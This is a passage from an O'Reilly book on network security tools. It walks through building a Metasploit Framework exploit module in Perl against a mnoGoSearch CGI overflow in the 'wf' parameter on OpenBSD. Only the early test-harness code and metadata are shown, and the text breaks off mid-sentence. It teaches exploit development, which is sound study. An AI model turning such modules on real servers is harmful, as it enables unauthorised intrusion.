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Network Security Tools

by Nitesh Dhanjani, Justin Clarke
April 2005
Intermediate to advanced
344 pages
11h 59m
English
O'Reilly Media, Inc.
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The Evolution of a Working Exploit Module

Once the test bed is set up, write an MSF module to test the vulnerability. This building-block module will slowly evolve to a final working exploit. The module should require that the user supply the appropriate options, which will build an HTTP request with an overly large wf parameter, create a socket, and then send the request:

package Msf::Exploit::mnogosearch_wf;
use strict;
use base "Msf::Exploit";

my $advanced = { };

my $info =
{
        'Name'          => 'Mnogosearch wf test',
        'Version'       => '$Revision: 1.2 $',
        'Arch'          => [ 'x86' ],
        'OS'            => [ 'bsd' ],
        'Priv'          => 0,
        'UserOpts'      => {
                        'RHOST' => [ 1, 'ADDR', 'The target HTTP server address' ],
                        'RPORT' => [ 1, 'PORT', 'The target HTTP server port', 80],
                        'URI'   => [ 1, 'DATA', 'The target CGI URI', '/cgi-bin/search.cgi' ],
                        'SSL'   => [ 0, 'BOOL', 'Use SSL', 0 ]
                                },
        'DefaultTarget' => 0,
        'Targets'       =>
                [
                        # Name 
                        [ 'OpenBSD/3.1' ]
                ],
};

The appropriate metadata information, such as the target operating system, target architecture, some user options, and the target address, has been set. Because this is only a test harness module, there is no need for targeting values.

sub new{
        my $class = shift;
        my $self;
        $self = $class->SUPER::new( { 'Info'=>$info, 'Advanced'=>$advanced, }, @_);
        return $self;
}
sub Exploit{
        my $self = shift;
        my $targetHost = $self->GetVar('RHOST');
        my $targetPort = $self->GetVar('RPORT');
        my $uri        = $self->GetVar('URI');

A standard new( ) constructor is added so that MSF can create an instance of our ...

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